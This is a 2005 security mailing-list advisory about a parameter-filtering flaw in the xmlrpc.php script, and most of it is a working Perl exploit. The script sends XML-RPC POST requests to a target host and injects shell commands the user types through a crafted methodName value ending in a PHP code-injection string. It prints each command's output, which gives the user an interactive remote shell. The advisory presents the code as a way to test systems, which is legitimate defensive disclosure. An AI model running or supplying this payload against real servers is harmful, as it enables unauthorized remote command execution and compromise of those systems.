[EXPL] XMLRPC Remote Commands Execution (Exploit)

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To: list@securiteam.com
Date: 6 Jul 2005 14:36:56 +0200

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  XMLRPC Remote Commands Execution (Exploit)
------------------------------------------------------------------------

SUMMARY

Lack of parameter filtering by the xmlrpc.php script allows a remote
attacker to cause the script to execute arbitrary code. The following
exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Exploit:
#-------------------------------------------------------#
# Original advisory by http://gulftech.org/
# Exploit coded by dukenn (http://asteam.org)
#-------------------------------------------------------#

#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn
(http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "connecterror\n";
 while (1) {
    print '['.$host.']# ';
    $cmd = <STDIN>;
    chop($cmd);
    last if ($cmd eq 'exit');
    $xmldata = "<?xml
version=\"1.0\"?><methodCall><methodName>test.method" .
"</methodName><params><param><" . "value><name>',''));echo
'_begin_\n';echo `".$cmd."`;echo
'_end_';exit;/*</name></value></param></params></methodCall>";
    print $sock "POST ".$xml." HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Content-Type: text/xml\n";
    print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
    $good=0;
    while ($ans = <$sock>)
       {
        if ($good == 1) { print "$ans"; }
        last if ($ans =~ /^_end_/);
        if ($ans =~ /^_begin_/) { $good = 1; }
       }
      if ($good==0) {print "Exploit Failed\n";exit();}
   }
 }
else {
 print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
 print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}

# EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:info@asteam.org> dukenn.

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